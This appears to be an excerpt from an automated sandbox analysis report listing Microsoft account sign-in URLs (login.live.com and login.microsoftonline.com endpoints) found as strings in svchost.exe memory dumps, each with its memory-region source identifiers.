                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80600
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80601
                  Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502acco
                  Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600er
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601g:Ma
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
                  Source: svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf5
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
                  Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2359777098.00000235C24B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538772972.00000235C3492000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537055218.00000235C24B1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
                  Source: svchost.exe, 00000015.00000003.2359777098.00000235C24B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537055218.00000235C24B1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf$
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srfChec
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
                  Source: svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsec
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
                  Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srff
                  Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfr:CXHT
                  Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrfve.com
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
                  Source: svchost.exe, 00000015.00000003.2292045276.00000235C2D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2359777098.00000235C24D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DuPc5CtqXvt5
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfg:GetAp
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600Data.srf
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601uthUp
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603d=80600
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
                  Source: svchost.exe, 00000015.00000003.2119468630.00000235C2D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2538415204.00000235C343B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfXHTransien
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
                  Source: svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLo
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502nkId=253457
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600psecure/Inl
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601eLogin.srf?
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806031
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603:OOBESignUp
                  Source: svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
                  Source: svchost.exe, 00000015.00000003.2119207317.00000235C2D57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&amp;fid=cp
                  Source: svchost.exe, 00000015.00000003.2118687868.00000235C2D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118821764.00000235C2D5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cpU
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118687868.00000235C2D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2118892415.00000235C2D52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119667598.00000235C2D56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
                  Source: svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
                  Source: svchost.exe, 00000015.00000002.2539083556.00000235C34E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfE
                  Source: svchost.exe, 00000015.00000002.2539083556.00000235C34E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfI
                  Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf:Inl
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf//account
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf80601
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
                  Source: svchost.exe, 00000015.00000002.2538022918.00000235C2D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
                  Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2292336960.00000235C2D52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf
                  Source: svchost.exe, 00000015.00000002.2538667859.00000235C346E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf/
                  Source: svchost.exe, 00000015.00000002.2537440927.00000235C2502000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.liveH
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119244562.00000235C2D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119176576.00000235C2D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
                  Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceA
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srft
                  Source: svchost.exe, 00000015.00000002.2536362856.00000235C2440000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
                  Source: svchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srflive.com/
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srfr=4&amp;
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf=806
                  Source: svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
                  Source: svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srfve.com/si
